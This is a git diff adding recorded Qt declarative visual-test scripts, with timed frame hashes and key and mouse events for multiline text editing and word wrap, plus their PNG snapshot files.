+ hash: "0fa5790dcbcb740d530b6333063629d6"
+ }
+ Key {
+ type: 7
+ key: 16777237
+ modifiers: 0
+ text: ""
+ autorep: true
+ count: 1
+ }
+ Key {
+ type: 6
+ key: 16777237
+ modifiers: 0
+ text: ""
+ autorep: true
+ count: 1
+ }
+ Frame {
+ msec: 8064
+ hash: "00ae3b5d61a83fdd16fc05b7c3fde8ed"
+ }
+ Frame {
+ msec: 8080
+ hash: "00ae3b5d61a83fdd16fc05b7c3fde8ed"
+ }
+ Key {
+ type: 6
+ key: 16777248
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Key {
+ type: 7
+ key: 16777237
+ modifiers: 33554432
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 8096
+ hash: "00ae3b5d61a83fdd16fc05b7c3fde8ed"
+ }
+ Frame {
+ msec: 8112
+ hash: "00ae3b5d61a83fdd16fc05b7c3fde8ed"
+ }
+ Frame {
+ msec: 8128
+ hash: "00ae3b5d61a83fdd16fc05b7c3fde8ed"
+ }
+ Frame {
+ msec: 8144
+ hash: "00ae3b5d61a83fdd16fc05b7c3fde8ed"
+ }
+ Frame {
+ msec: 8160
+ hash: "00ae3b5d61a83fdd16fc05b7c3fde8ed"
+ }
+ Frame {
+ msec: 8176
+ hash: "00ae3b5d61a83fdd16fc05b7c3fde8ed"
+ }
+ Frame {
+ msec: 8192
+ hash: "00ae3b5d61a83fdd16fc05b7c3fde8ed"
+ }
+ Key {
+ type: 6
+ key: 16777235
+ modifiers: 33554432
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 8208
+ hash: "8f59f9f91dbcf608143925ff1f974151"
+ }
+ Frame {
+ msec: 8224
+ hash: "8f59f9f91dbcf608143925ff1f974151"
+ }
+ Frame {
+ msec: 8240
+ hash: "8f59f9f91dbcf608143925ff1f974151"
+ }
+ Frame {
+ msec: 8256
+ hash: "8f59f9f91dbcf608143925ff1f974151"
+ }
+ Key {
+ type: 7
+ key: 16777235
+ modifiers: 33554432
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 8272
+ hash: "8f59f9f91dbcf608143925ff1f974151"
+ }
+ Frame {
+ msec: 8288
+ hash: "8f59f9f91dbcf608143925ff1f974151"
+ }
+ Frame {
+ msec: 8304
+ hash: "8f59f9f91dbcf608143925ff1f974151"
+ }
+ Frame {
+ msec: 8320
+ hash: "8f59f9f91dbcf608143925ff1f974151"
+ }
+ Key {
+ type: 6
+ key: 16777235
+ modifiers: 33554432
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 8336
+ hash: "fc48aa2746eaaf31312de3c37d821ff0"
+ }
+ Frame {
+ msec: 8352
+ hash: "fc48aa2746eaaf31312de3c37d821ff0"
+ }
+ Frame {
+ msec: 8368
+ hash: "fc48aa2746eaaf31312de3c37d821ff0"
+ }
+ Frame {
+ msec: 8384
+ hash: "fc48aa2746eaaf31312de3c37d821ff0"
+ }
+ Key {
+ type: 7
+ key: 16777235
+ modifiers: 33554432
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 8400
+ hash: "fc48aa2746eaaf31312de3c37d821ff0"
+ }
+ Frame {
+ msec: 8416
+ hash: "fc48aa2746eaaf31312de3c37d821ff0"
+ }
+ Frame {
+ msec: 8432
+ hash: "fc48aa2746eaaf31312de3c37d821ff0"
+ }
+ Frame {
+ msec: 8448
+ hash: "fc48aa2746eaaf31312de3c37d821ff0"
+ }
+ Frame {
+ msec: 8464
+ hash: "fc48aa2746eaaf31312de3c37d821ff0"
+ }
+ Key {
+ type: 6
+ key: 16777235
+ modifiers: 33554432
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 8480
+ hash: "61856cf1f8f2ef6d0b365ab3d7eece51"
+ }
+ Frame {
+ msec: 8496
+ hash: "61856cf1f8f2ef6d0b365ab3d7eece51"
+ }
+ Frame {
+ msec: 8512
+ hash: "61856cf1f8f2ef6d0b365ab3d7eece51"
+ }
+ Frame {
+ msec: 8528
+ hash: "61856cf1f8f2ef6d0b365ab3d7eece51"
+ }
+ Key {
+ type: 7
+ key: 16777235
+ modifiers: 33554432
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 8544
+ hash: "61856cf1f8f2ef6d0b365ab3d7eece51"
+ }
+ Frame {
+ msec: 8560
+ hash: "61856cf1f8f2ef6d0b365ab3d7eece51"
+ }
+ Frame {
+ msec: 8576
+ hash: "61856cf1f8f2ef6d0b365ab3d7eece51"
+ }
+ Frame {
+ msec: 8592
+ hash: "61856cf1f8f2ef6d0b365ab3d7eece51"
+ }
+ Frame {
+ msec: 8608
+ hash: "61856cf1f8f2ef6d0b365ab3d7eece51"
+ }
+ Frame {
+ msec: 8624
+ hash: "61856cf1f8f2ef6d0b365ab3d7eece51"
+ }
+ Frame {
+ msec: 8640
+ hash: "61856cf1f8f2ef6d0b365ab3d7eece51"
+ }
+ Frame {
+ msec: 8656
+ image: "usingMultilineEdit.9.png"
+ }
+ Key {
+ type: 7
+ key: 16777248
+ modifiers: 33554432
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 8672
+ hash: "61856cf1f8f2ef6d0b365ab3d7eece51"
+ }
+ Frame {
+ msec: 8688
+ hash: "61856cf1f8f2ef6d0b365ab3d7eece51"
+ }
+ Frame {
+ msec: 8704
+ hash: "61856cf1f8f2ef6d0b365ab3d7eece51"
+ }
+ Frame {
+ msec: 8720
+ hash: "61856cf1f8f2ef6d0b365ab3d7eece51"
+ }
+ Frame {
+ msec: 8736
+ hash: "61856cf1f8f2ef6d0b365ab3d7eece51"
+ }
+ Frame {
+ msec: 8752
+ hash: "61856cf1f8f2ef6d0b365ab3d7eece51"
+ }
+ Frame {
+ msec: 8768
+ hash: "61856cf1f8f2ef6d0b365ab3d7eece51"
+ }
+ Frame {
+ msec: 8784
+ hash: "61856cf1f8f2ef6d0b365ab3d7eece51"
+ }
+ Frame {
+ msec: 8800
+ hash: "61856cf1f8f2ef6d0b365ab3d7eece51"
+ }
+ Frame {
+ msec: 8816
+ hash: "61856cf1f8f2ef6d0b365ab3d7eece51"
+ }
+ Frame {
+ msec: 8832
+ hash: "61856cf1f8f2ef6d0b365ab3d7eece51"
+ }
+ Frame {
+ msec: 8848
+ hash: "61856cf1f8f2ef6d0b365ab3d7eece51"
+ }
+ Frame {
+ msec: 8864
+ hash: "61856cf1f8f2ef6d0b365ab3d7eece51"
+ }
+ Frame {
+ msec: 8880
+ hash: "61856cf1f8f2ef6d0b365ab3d7eece51"
+ }
+ Frame {
+ msec: 8896
+ hash: "61856cf1f8f2ef6d0b365ab3d7eece51"
+ }
+ Frame {
+ msec: 8912
+ hash: "61856cf1f8f2ef6d0b365ab3d7eece51"
+ }
+ Frame {
+ msec: 8928
+ hash: "61856cf1f8f2ef6d0b365ab3d7eece51"
+ }
+ Frame {
+ msec: 8944
+ hash: "61856cf1f8f2ef6d0b365ab3d7eece51"
+ }
+ Frame {
+ msec: 8960
+ hash: "61856cf1f8f2ef6d0b365ab3d7eece51"
+ }
+ Frame {
+ msec: 8976
+ hash: "61856cf1f8f2ef6d0b365ab3d7eece51"
+ }
+ Frame {
+ msec: 8992
+ hash: "61856cf1f8f2ef6d0b365ab3d7eece51"
+ }
+ Frame {
+ msec: 9008
+ hash: "61856cf1f8f2ef6d0b365ab3d7eece51"
+ }
+ Frame {
+ msec: 9024
+ hash: "61856cf1f8f2ef6d0b365ab3d7eece51"
+ }
+ Frame {
+ msec: 9040
+ hash: "61856cf1f8f2ef6d0b365ab3d7eece51"
+ }
+ Frame {
+ msec: 9056
+ hash: "61856cf1f8f2ef6d0b365ab3d7eece51"
+ }
+ Frame {
+ msec: 9072
+ hash: "61856cf1f8f2ef6d0b365ab3d7eece51"
+ }
+ Frame {
+ msec: 9088
+ hash: "61856cf1f8f2ef6d0b365ab3d7eece51"
+ }
+ Frame {
+ msec: 9104
+ hash: "61856cf1f8f2ef6d0b365ab3d7eece51"
+ }
+ Frame {
+ msec: 9120
+ hash: "61856cf1f8f2ef6d0b365ab3d7eece51"
+ }
+ Frame {
+ msec: 9136
+ hash: "61856cf1f8f2ef6d0b365ab3d7eece51"
+ }
+ Frame {
+ msec: 9152
+ hash: "61856cf1f8f2ef6d0b365ab3d7eece51"
+ }
+ Frame {
+ msec: 9168
+ hash: "61856cf1f8f2ef6d0b365ab3d7eece51"
+ }
+ Frame {
+ msec: 9184
+ hash: "61856cf1f8f2ef6d0b365ab3d7eece51"
+ }
+ Frame {
+ msec: 9200
+ hash: "61856cf1f8f2ef6d0b365ab3d7eece51"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 70; y: 73
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9216
+ hash: "61856cf1f8f2ef6d0b365ab3d7eece51"
+ }
+ Frame {
+ msec: 9232
+ hash: "61856cf1f8f2ef6d0b365ab3d7eece51"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 70; y: 74
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9248
+ hash: "61856cf1f8f2ef6d0b365ab3d7eece51"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 70; y: 75
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 70; y: 76
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9264
+ hash: "61856cf1f8f2ef6d0b365ab3d7eece51"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 70; y: 77
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 70; y: 78
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9280
+ hash: "61856cf1f8f2ef6d0b365ab3d7eece51"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 70; y: 78
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9296
+ hash: "61856cf1f8f2ef6d0b365ab3d7eece51"
+ }
+ Frame {
+ msec: 9312
+ hash: "61856cf1f8f2ef6d0b365ab3d7eece51"
+ }
+ Frame {
+ msec: 9328
+ hash: "61856cf1f8f2ef6d0b365ab3d7eece51"
+ }
+ Frame {
+ msec: 9344
+ hash: "61856cf1f8f2ef6d0b365ab3d7eece51"
+ }
+ Frame {
+ msec: 9360
+ hash: "61856cf1f8f2ef6d0b365ab3d7eece51"
+ }
+ Frame {
+ msec: 9376
+ hash: "61856cf1f8f2ef6d0b365ab3d7eece51"
+ }
+ Frame {
+ msec: 9392
+ hash: "61856cf1f8f2ef6d0b365ab3d7eece51"
+ }
+ Frame {
+ msec: 9408
+ hash: "61856cf1f8f2ef6d0b365ab3d7eece51"
+ }
+ Frame {
+ msec: 9424
+ hash: "61856cf1f8f2ef6d0b365ab3d7eece51"
+ }
+ Frame {
+ msec: 9440
+ hash: "61856cf1f8f2ef6d0b365ab3d7eece51"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 71; y: 94
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9456
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Frame {
+ msec: 9472
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Frame {
+ msec: 9488
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Frame {
+ msec: 9504
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Frame {
+ msec: 9520
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Frame {
+ msec: 9536
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 71; y: 94
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9552
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Frame {
+ msec: 9568
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Frame {
+ msec: 9584
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Frame {
+ msec: 9600
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Frame {
+ msec: 9616
+ image: "usingMultilineEdit.10.png"
+ }
+ Frame {
+ msec: 9632
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Frame {
+ msec: 9648
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Frame {
+ msec: 9664
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Key {
+ type: 6
+ key: 16777248
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 9680
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Frame {
+ msec: 9696
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Frame {
+ msec: 9712
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Frame {
+ msec: 9728
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Frame {
+ msec: 9744
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Frame {
+ msec: 9760
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Frame {
+ msec: 9776
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Frame {
+ msec: 9792
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Frame {
+ msec: 9808
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Frame {
+ msec: 9824
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Frame {
+ msec: 9840
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Frame {
+ msec: 9856
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Frame {
+ msec: 9872
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Frame {
+ msec: 9888
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Frame {
+ msec: 9904
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Frame {
+ msec: 9920
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Frame {
+ msec: 9936
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Frame {
+ msec: 9952
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Frame {
+ msec: 9968
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Frame {
+ msec: 9984
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Frame {
+ msec: 10000
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Frame {
+ msec: 10016
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Frame {
+ msec: 10032
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Frame {
+ msec: 10048
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Frame {
+ msec: 10064
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Frame {
+ msec: 10080
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Frame {
+ msec: 10096
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Key {
+ type: 6
+ key: 16777237
+ modifiers: 33554432
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 10112
+ hash: "2ccfdac58b836aa89d2a75d0bdca6624"
+ }
+ Frame {
+ msec: 10128
+ hash: "2ccfdac58b836aa89d2a75d0bdca6624"
+ }
+ Frame {
+ msec: 10144
+ hash: "2ccfdac58b836aa89d2a75d0bdca6624"
+ }
+ Frame {
+ msec: 10160
+ hash: "2ccfdac58b836aa89d2a75d0bdca6624"
+ }
+ Frame {
+ msec: 10176
+ hash: "2ccfdac58b836aa89d2a75d0bdca6624"
+ }
+ Frame {
+ msec: 10192
+ hash: "2ccfdac58b836aa89d2a75d0bdca6624"
+ }
+ Frame {
+ msec: 10208
+ hash: "2ccfdac58b836aa89d2a75d0bdca6624"
+ }
+ Frame {
+ msec: 10224
+ hash: "2ccfdac58b836aa89d2a75d0bdca6624"
+ }
+ Key {
+ type: 7
+ key: 16777237
+ modifiers: 33554432
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 10240
+ hash: "2ccfdac58b836aa89d2a75d0bdca6624"
+ }
+ Frame {
+ msec: 10256
+ hash: "2ccfdac58b836aa89d2a75d0bdca6624"
+ }
+ Frame {
+ msec: 10272
+ hash: "2ccfdac58b836aa89d2a75d0bdca6624"
+ }
+ Frame {
+ msec: 10288
+ hash: "2ccfdac58b836aa89d2a75d0bdca6624"
+ }
+ Frame {
+ msec: 10304
+ hash: "2ccfdac58b836aa89d2a75d0bdca6624"
+ }
+ Frame {
+ msec: 10320
+ hash: "2ccfdac58b836aa89d2a75d0bdca6624"
+ }
+ Frame {
+ msec: 10336
+ hash: "2ccfdac58b836aa89d2a75d0bdca6624"
+ }
+ Frame {
+ msec: 10352
+ hash: "2ccfdac58b836aa89d2a75d0bdca6624"
+ }
+ Key {
+ type: 6
+ key: 16777235
+ modifiers: 33554432
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 10368
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Frame {
+ msec: 10384
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Frame {
+ msec: 10400
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Frame {
+ msec: 10416
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Frame {
+ msec: 10432
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Frame {
+ msec: 10448
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Key {
+ type: 7
+ key: 16777235
+ modifiers: 33554432
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 10464
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Frame {
+ msec: 10480
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Frame {
+ msec: 10496
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Frame {
+ msec: 10512
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Frame {
+ msec: 10528
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Frame {
+ msec: 10544
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Frame {
+ msec: 10560
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Frame {
+ msec: 10576
+ image: "usingMultilineEdit.11.png"
+ }
+ Frame {
+ msec: 10592
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Frame {
+ msec: 10608
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Frame {
+ msec: 10624
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Frame {
+ msec: 10640
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Key {
+ type: 7
+ key: 16777248
+ modifiers: 33554432
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 10656
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Frame {
+ msec: 10672
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Frame {
+ msec: 10688
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Frame {
+ msec: 10704
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Frame {
+ msec: 10720
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Frame {
+ msec: 10736
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Frame {
+ msec: 10752
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Frame {
+ msec: 10768
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Frame {
+ msec: 10784
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Frame {
+ msec: 10800
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Frame {
+ msec: 10816
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Frame {
+ msec: 10832
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Frame {
+ msec: 10848
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Frame {
+ msec: 10864
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Frame {
+ msec: 10880
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Frame {
+ msec: 10896
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Frame {
+ msec: 10912
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Frame {
+ msec: 10928
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Frame {
+ msec: 10944
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Frame {
+ msec: 10960
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Frame {
+ msec: 10976
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Frame {
+ msec: 10992
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Frame {
+ msec: 11008
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Frame {
+ msec: 11024
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Frame {
+ msec: 11040
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Frame {
+ msec: 11056
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Frame {
+ msec: 11072
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Frame {
+ msec: 11088
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Frame {
+ msec: 11104
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Frame {
+ msec: 11120
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Frame {
+ msec: 11136
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Frame {
+ msec: 11152
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Frame {
+ msec: 11168
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Frame {
+ msec: 11184
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Frame {
+ msec: 11200
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Frame {
+ msec: 11216
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Frame {
+ msec: 11232
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Frame {
+ msec: 11248
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Frame {
+ msec: 11264
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Frame {
+ msec: 11280
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Frame {
+ msec: 11296
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Frame {
+ msec: 11312
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Frame {
+ msec: 11328
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Frame {
+ msec: 11344
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Frame {
+ msec: 11360
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Frame {
+ msec: 11376
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Frame {
+ msec: 11392
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Frame {
+ msec: 11408
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Frame {
+ msec: 11424
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Frame {
+ msec: 11440
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Frame {
+ msec: 11456
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Frame {
+ msec: 11472
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Frame {
+ msec: 11488
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Frame {
+ msec: 11504
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Frame {
+ msec: 11520
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Frame {
+ msec: 11536
+ image: "usingMultilineEdit.12.png"
+ }
+ Frame {
+ msec: 11552
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Frame {
+ msec: 11568
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Frame {
+ msec: 11584
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Frame {
+ msec: 11600
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+ Frame {
+ msec: 11616
+ hash: "37a675ab007d0e0a8f3735d4d84505de"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/wrap.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/wrap.0.png
new file mode 100644
index 00000000..61606b2b
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/wrap.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/wrap.1.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/wrap.1.png
new file mode 100644
index 00000000..a4b28fcd
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/wrap.1.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/wrap.2.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/wrap.2.png
new file mode 100644
index 00000000..5be6bbb8
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/wrap.2.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/wrap.3.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/wrap.3.png
new file mode 100644
index 00000000..a220f654
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/wrap.3.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/wrap.4.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/wrap.4.png
new file mode 100644
index 00000000..6946707f
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/wrap.4.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/wrap.5.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/wrap.5.png
new file mode 100644
index 00000000..4eeb8ec7
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/wrap.5.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/wrap.6.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/wrap.6.png
new file mode 100644
index 00000000..4eeb8ec7
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/wrap.6.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/wrap.7.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/wrap.7.png
new file mode 100644
index 00000000..f0748b21
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/wrap.7.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/wrap.qml b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/wrap.qml
new file mode 100644
index 00000000..f5af59f7
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/wrap.qml
@@ -0,0 +1,2467 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "wrap.0.png"
+ }
+ Key {
+ type: 6
+ key: 84
+ modifiers: 33554432
+ text: "54"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 32
+ hash: "2b7fa5ced204393f05bf68d33e0ca2ad"
+ }
+ Key {
+ type: 7
+ key: 16777248
+ modifiers: 33554432
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 48
+ hash: "2b7fa5ced204393f05bf68d33e0ca2ad"
+ }
+ Frame {
+ msec: 64
+ hash: "2b7fa5ced204393f05bf68d33e0ca2ad"
+ }
+ Key {
+ type: 7
+ key: 84
+ modifiers: 0
+ text: "74"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 80
+ hash: "2b7fa5ced204393f05bf68d33e0ca2ad"
+ }
+ Frame {
+ msec: 96
+ hash: "2b7fa5ced204393f05bf68d33e0ca2ad"
+ }
+ Key {
+ type: 6
+ key: 72
+ modifiers: 0
+ text: "68"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 112
+ hash: "5fe2c4c01922f0b0d3f65152bd80f689"
+ }
